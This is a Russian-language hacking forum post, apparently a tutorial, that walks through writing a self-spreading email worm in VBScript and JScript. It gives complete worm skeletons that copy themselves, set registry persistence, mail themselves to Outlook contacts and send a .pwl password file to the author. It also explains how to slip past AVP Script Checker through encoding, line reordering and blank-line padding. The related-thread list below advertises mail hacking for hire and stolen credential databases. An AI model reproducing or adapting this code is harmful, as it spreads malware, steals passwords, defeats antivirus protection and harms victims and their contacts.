Почтовый червь на VBScript

  • Автор темы T0pDro4eR
  • Дата начала
T

T0pDro4eR

Необходимость в создании нового командного языка возникла при переходе на платформу Win9x и NT, так как старые .bat файлы уже не могли обеспечить должной гибкости при автоматизации процессов настройки операционной среды. Был создан независимый от языка скрипт – хост, который позволял строить аналоги .bat файлов на VBScript, JScript и других скриптовых языках, например, Active Perl или Python.

Как ни хороши скриптовые языки, много с ними не сотворишь. Они неспособны, повлиять на что-либо за пределами родного скрипта. Эти языки не имеют прямых инструкций, позволяющих читать и записывать файлы на диске, выводить информацию в командную строку, изменять записи в реестре и так далее.

Чтобы справиться с такими задачами, нужно воспользоваться дополнительными COM – объектами. Ряд таких объектов входит в поставку WSH, а один из них, WScript, даже уже имеет созданный экземпляр, и им можно пользоваться непосредственно, без предварительного создания. Остальные создаются с помощью синтаксиса, соответствующего конкретному языку или функции WScript.CreateObject. Подробнее о WSH можно прочитать здесь.



Написание
Настало время перейти непосредственно к описанию программного кода. Для написания примеров будем использовать Visual Basic Scripting Edition, на котором написано подавляющие большинство Internet – червей. Начнем с инструкций Option Explicit и On Error Resume Next, первая необходима при отладке кода, она запрещает использование не объявленной ранее переменной, а вторая подавляет обработчик ошибок.

Option Explicit<

Dim FileSysObject, File

Set FileSysObject = CreateObject ("Scripting.FileSystemObject")

Set File = FileSysObject.GetFile(WScript.ScriptFullName)

В данном примере используются переменные FileSysObject и File, и если при создании скрипта вы допустите ошибку, написав FileSysObiect, интерпретатор сообщит вам, что используется необъявленная, в операторе Dim, переменная. Такие ошибки находить очень трудно, так как они зачастую меняют всю логику работы программы. Перейдем к инструкции On Error Resume Next, эта инструкция означает, что любая возникшая ошибка будет обработана программным кодом позднее, а в нашем случае никогда. Это позволяет запретить выдачу системных сообщений об ошибках и замаскировать работу скрипта.

Теперь опишем третью и четвертую строки примера:



Set FileSysObject = CreateObject ("Scripting.FileSystemObject")



Присваиваем переменной FileSysObject ссылку на объект COM-компоненты WSH File System Object. С помощью метода GetFile присвоим переменной File ссылку на командную строку местоположения исполняемого файла.

Скопируем скрипт в c:\windows, для дальнейшего использования.

File.Copy ("c:\windows\I_am_virus.vbs")

Присвоим переменной WshShell ссылку на объект COM-компоненты WSH позволяющую менять настройки системы и запускать приложения.

Dim WshShell

Set WshShell = WScript.CreateObject("WScript.Shell")

Теперь мы смело можем управлять захваченным компьютером.

Сначала пропишем свой "страшный вирус" в реестр, для повторного запуска после перезагрузки, хотя для E-mail worm это и необязательно, как в прочем и процедура копирования.

WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows _

\CurrentVersion\RunServices\virus", "c:\windows\I_am_virus.vbs"

Следующий шаг за вашей фантазией, можно скопировать из интернета более сложный вирус и запустить его, отослать вам файл с паролями, или просто и скучно перепортить кучу файлов.

И, наконец, мы переходим к "сердцу" каждого интернет – червя, процедуре рассылки.

Создаем ссылку на объект самого распространенного почтового клиента Outlook.

Dim OutlookObject, OutMail, Index

Set OutlookObject = CreateObject("Outlook.Application")

Зададим цикл, в ходе которого разошлем зараженные письма по первым 50 адресам, занесенным в адресную книгу.

For Index = 1 To 50

Создадим новое почтовое сообщение

Set OutMail = OutlookObject.CreateItem(0)


В поле "Кому" занесем адрес из адресной книги

OutMail.to =

OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)

В поле "Тема" вставим тему сообщения

OutMail.Subject = "Тема сообщения"

Добавим текст сообщения

OutMail.Body = "Тело сообщения"

Прикрепим скрипт

OutMail.Attachments.Add(WScript.ScriptFullName)

И отправим его

OutMail.Send



Каркас E-mail worm:
On Error Resume Next

Dim FileSysObject, File

Set FileSysObject = CreateObject ("Scripting.FileSystemObject")

Set File = FileSysObject.GetFile(WScript.ScriptFullName)

Dim OutlookObject, OutMail, Index

Set OutlookObject = CreateObject("Outlook.Application")

For Index = 1 To 50

Set OutMail = OutlookObject.CreateItem(0)

OutMail.to =

OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)

OutMail.Subject = "Тема сообщения"

OutMail.Body = "Тело сообщения"

OutMail.Attachments.Add(WScript.ScriptFullName)

OutMail.Send

Next




Каркас обманки:
On Error Resume Next

Dim FileSysObject, File

Set FileSysObject = CreateObject ("Scripting.FileSystemObject")

Set File = FileSysObject.GetFile(WScript.ScriptFullName)

File.Copy ("c:\windows\I_am_virus.vbs")

Dim WshShell

Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.RegWrite

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ _

CurrentVersion\RunServices\virus", "c:\windows\I_am_virus.vbs"

Dim OutlookObject, OutMail, Index

Set OutlookObject = CreateObject("Outlook.Application")

For Index = 1 To 50

Set OutMail = OutlookObject.CreateItem(0)

OutMail.to =

OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)

OutMail.Subject = "Тема сообщения"

OutMail.Body = "Тело сообщения"

OutMail.Attachments.Add(WScript.ScriptFullName)

OutMail.Send

Next

Set OutMail = OutlookObject.CreateItem(0)

OutMail.to = "Ваш E-mail"

OutMail.Subject = "Тема сообщения"

OutMail.Body = "Тело сообщения"

OutMail.Attachments.Add("Путь к .pwl файлу")

OutMail.Send

JScript
Cравнив возможности VBScript и JScript станет понятно, что они идентичны и отличаются только синтаксисом языка.

Поэтому можно писать червя как на JScript так и на VBScript. Тут уже кому как удобнее будет



Каркас E-mail worm:
var fileSysObject, file;

fileSysObject = new ActiveXObject("Scripting.FileSystemObject");

file = fileSysObject.GetFile(WScript.ScriptFullName);

var outlookObject, outMail, index;

outlookObject = new ActiveXObject("Outlook.Application");

for (index = 1; index < 50; index++){

outMail = outlookObject.CreateItem(0);

outMail.to =

OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(index);

outMail.Subject = "Тема сообщения";

outMail.Body = "Тело сообщения";

OutMail.Attachments.Add(WScript.ScriptFullName);

outMail.Send;}



Каркас обманки:
var fileSysObject, file;

fileSysObject = new ActiveXObject("Scripting.FileSystemObject");

file = fileSysObject.GetFile(WScript.ScriptFullName);

file.Copy("c:\windows\I_am_virus.vbs");

var wshShell;

wshShell = new ActiveXObject("WScript.Shell");

wshShell.RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ _

CurrentVersion\RunServices\virus", "c:\windows\I_am_virus.vbs");

var outlookObject, outMail, index;

outlookObject = new ActiveXObject("Outlook.Application");

for (index = 1; index < 50; index++){

outMail = outlookObject.CreateItem(0);

outMail.to =

OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(index);

outMail.Subject = "Тема сообщения";

outMail.Body = "Тело сообщения";

OutMail.Attachments.Add(WScript.ScriptFullName);

outMail.Send;}

outMail = outlookObject.CreateItem(0);

outMail.to = "Ваш E-mail";

outMail.Subject = "Тема сообщения";

outMail.Body = "Тело сообщения";

outMail.Attachments.Add("Путь к .pwl файлу");

outMail.Send;

Однако при выполнении скрипта Script Checker выдает сообщение, что этот файл возможно содержит вирус и заблокирует его выполнение при первой удобной возможности. Все связано с тем, что он реагирует на попытку отослать файл по почте, так как и в VBScript, и в JScript строка OutMail.Attachments.Add(WScript.ScriptFullName) выглядит одинаково. Избавиться от этого можно весьма легким путём а именно, закодировав скрипт программой MS Windows Script Encoder.

И тут нам уже не сможет противостоять ни один из столь пупулярных антивирусов как: Norton AntiVirus, AVP.

На основе сделанного анализа можно предположить, что нас ждет следующий виток эпидемий связанных с написанием вирусов на JScript.



Как обмануть AVP Script Checker
Описанный метод обхода AVP Script checker довольно сложен, так как требует знаний разных языков программирования, однако можно придумать множество более простых методов.

Практически все программы защиты от вирусов работают по одному и тому же принципу, они сравнивают файлы с имеющимися в базе данных участками вирусов, так называемыми сигнатурами. По аналогичному алгоритму работает и AVP Script checker, который после предварительной компиляции просматривает файл, и ищет "знакомые места". Однако в отличие от компиляторов мощных программных продуктов cscript.exe проводит только предварительную компиляцию, без редактирования исходного кода, и поэтому, немного изменив исходный код ранее написанного вируса можно легко обойти защиту.

За основу возьмем каркас почтового червя на VBScript.

Начнем с самого простого метода, изменения порядка выполнения, добавления пробелов и пустых строк.

Заменяем

Код:
OutMail.to = OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)



на OutMail.to = "Адресс E-mail", для безопасности, и сохраняем.



AVP "говорит": обнаружена новая модификация вируса I-Worm VBS.Fool.



Убираем строку Set File = FileSysObject.GetFile(WScript.ScriptFullName), он замолчал, значит, антивирус реагирует именно на присутствие этой строки. Меняем местами строки и получаем:



Dim FileSysObject, File



Set FileSysObject = CreateObject ("Scripting.FileSystemObject")



Dim OutlookObject, OutMail, Index



Set OutlookObject = CreateObject("Outlook.Application")



Set File = FileSysObject.GetFile(WScript.ScriptFullName)



AVP Script checker не реагирует.



Можно просто изменить проблемную строку следующим образом:



Set File = FileSysObject. _



GetFile(WScript. _



ScriptFullName)



Эффект тот же, надо только поэкспериментировать. В коде I-Worm VBS.HappyTime в начало файла добавлено 35 пустых строк и этого хватило, чтобы антивирус не распознал его.



Существуют и более сложные методы, например кодирование тела вируса. Ярким примером этого послужил I-Worm VBS.Homepage в котором основной код был закодирован следующим образом:



DeCode("Кодированное тело Homepage")



Function DeCode(Coded)



For I = 1 To Len(Coded)



CurChar= Mid(Coded, I, 1)



If Asc(CurChar) = 15 Then



CurChar= Chr(10)



ElseIf Asc(CurChar) = 16 Then



CurChar= Chr(13)



ElseIf Asc(CurChar) = 17 Then



CurChar= Chr(32)



ElseIf Asc(CurChar) = 18 Then



CurChar= Chr(9)



Else



CurChar = Chr(Asc(CurChar) - 2)



End If



DeCode = DeCode & CurChar



Next



End Function
В результате чего, довольно простенький скрипт заразил миллионы компьютеров по всему миру.

Следующим шагом будет написание на VBS полиморфика, скрипта способного видоизменять свой код по мере необходимости.



Заключение
К недовольству "настоящих вирусописателей", считающих скриптовые технологии забавой для ламеров, количество вирусов использующих эту технологию неуклонно растет. Это связанно с простотой реализации и интегрированностью в операционную систему, с помощью скриптов можно полностью управлять системой, запускать и останавливать процессы, удаленно создавать и удалять пользователей, править файлы, и много чего еще...
 
  • Like
Реакции: soprano и Bazzukka
Название темы
Автор Заголовок Раздел Ответы Дата
М свежий Почтовый доступ Раздача email 0
Support81 Новый USB-червь "LitterDrifter" выявлен в целевых атаках Новости в сети 0
Support81 Crimson Palace: кибершпионский тайфун обрушился на Юго-Восточную Азию Новости в сети 0
Support81 Tropic Trooper: хакеры теперь сеют хаос на Ближнем Востоке Новости в сети 0
B Брут на Bongacams Предоставляю работу. Ищу специалиста. 0
Support81 ФБР раскрыло сеть влияния на выборы США Новости в сети 0
Support81 От защите к атаке: MacroPack перешел на сторону хакеров Новости в сети 0
Support81 Убийцы на расстоянии: раскрыт международный заговор сваттеров Новости в сети 0
Support81 Тайна псевдонима: ФБР использовало книгу на Amazon как главную улику в деле Новости в сети 0
Support81 Что общего между F-16 и Tinder? Новая игра США на Ближнем Востоке Новости в сети 0
Support81 Sway и QR-коды: опасный фишинговый тандем, нацеленный на сервисы Microsoft 365 Новости в сети 0
Support81 Telegram на грани: арест Дурова ставит под угрозу будущее мессенджера Новости в сети 0
Support81 Схема «Мамонт»: 4500 мошенников охотятся на арендодателей Новости в сети 0
Support81 Дело Павла Дурова: на перекрестке технологий, политики и прав человека Новости в сети 0
Support81 5 миллионов сайтов на грани взлома из-за LiteSpeed Cache Новости в сети 0
Support81 Сертификат на взлом: хакерам предложат выйти из подполья в России Новости в сети 0
Support81 UULoader обрушил серию мощных атак на жителей Азии Новости в сети 0
Viktor_KVARIS Ожидает оплаты Ищу специалиста по лидогенерации. Ниша: Продажа недвижимости на Пхукете Предоставляю работу. Ищу специалиста. 0
Support81 CryptoCore: за кулисами аферы на $5,4 млн Новости в сети 0
Support81 Лариса Долина лишилась недвижимости на 130 миллионов рублей Новости в сети 2
Support81 В Молдове задержаны мошенники, организовавшие финансовую пирамиду на 750 000 евро Новости в сети 0
G Интересно [ADS|CEO] поток трафика на ваш сайт Ищу работу. Предлагаю свои услуги. 0
Support81 Роскошное авто или троян? Хакеры из APT28 играют на ваших желаниях Новости в сети 0
Support81 Project Disrupt: как молодые канадцы обманули систему на миллион долларов Новости в сети 0
Support81 Осторожно, груз опасен: глобальная фишинг-атака на промышленные компании Новости в сети 0
PUZAN Получаем от 5к до 50к ₽ на халяву Способы заработка 3
Support81 Троян на 3000 устройствах: как начались Олимпийские игры в Париже Новости в сети 1
Support81 Хомяк ест ваши деньги: за что на самом деле борются игроки Hamster Kombat Новости в сети 2
semsvm Интересно Заработок на заливах до 30к$ и выше в месяц Способы заработка 0
semsvm Интересно Регулярно от 500$ и выше каждый месяц на полном пассиве. Способы заработка 1
АнАлЬнАя ЧуПаКаБрА Куплю Куплю базы mail:pass usa тематики ставки на спорт Куплю/Продам 0
Support81 TAG-100: открытый код на службе шпионов Новости в сети 0
Support81 ShadowRoot: новая вымогательская угроза обрушилась на турецкий бизнес Новости в сети 0
Support81 DNS-атака на DeFi: сотни протоколов оказались под угрозой взлома Новости в сети 0
Support81 Gh0st RAT, RedTail, XMRig: какие ещё угрозы могут проникнуть на ваш компьютер из-за уязвимости в PHP Новости в сети 0
Chekon ✅ sms.chekons.com - ⭐ Сайт для получения SMS на реальные номера USA "Non-VoIP, безлим SMS, API" от 0.4$ за номер⭐ Ищу работу. Предлагаю свои услуги. 0
Support81 Mekotio: обновлённый банковский троян нацелился на Латинскую Америку Новости в сети 0
Support81 Бухгалтерия как приманка: новые детали атак VasyGrek на компании РФ Новости в сети 0
turbion0 Новая мошенническая схема, нацеленная на индивидуальных предпринимателей и тех, кто использует режим «Налог на профессиональный доход» Новости в сети 0
T Без предоплаты! Взлом почты Mail.ru на заказ, взлом почты Рамблер, Взлом пароля Rambler.ru inbox.ru list.ru bk.ru internet.ru xmail.ru Ищу работу. Предлагаю свои услуги. 0
F Ожидает оплаты Traffic - на любые ваши проекты | Traffic Angels! Ищу работу. Предлагаю свои услуги. 0
Support81 0day-эксплойт для Chrome выставлен на продажу за $1 000 000 Новости в сети 0
Support81 48 часов на спасение: LockBit выставили ультиматум хакеров Федрезерву Новости в сети 1
Support81 Интернет-тролли: кто они на самом деле? Новости в сети 0
Support81 Удаленщики играют с работодателями в кошки-мышки: на грани этики и контроля Новости в сети 0
Support81 Беспринципный исследователь «обнёс» криптобиржу Kraken на $3 млн Новости в сети 0
Support81 102 года за фишинг: афера на $1,5 млн закончилась для мошенников тюремной камерой Новости в сети 0
Support81 30 дней на сборы: Slack объявил дедлайн для пользователей из РФ Новости в сети 0
Support81 70% киберспециалистов на грани срыва, 64% уже подыскивают новую работу Новости в сети 1
Support81 Рост на 625%: программы-вымогатели бьют все рекорды в мае Новости в сети 0

Название темы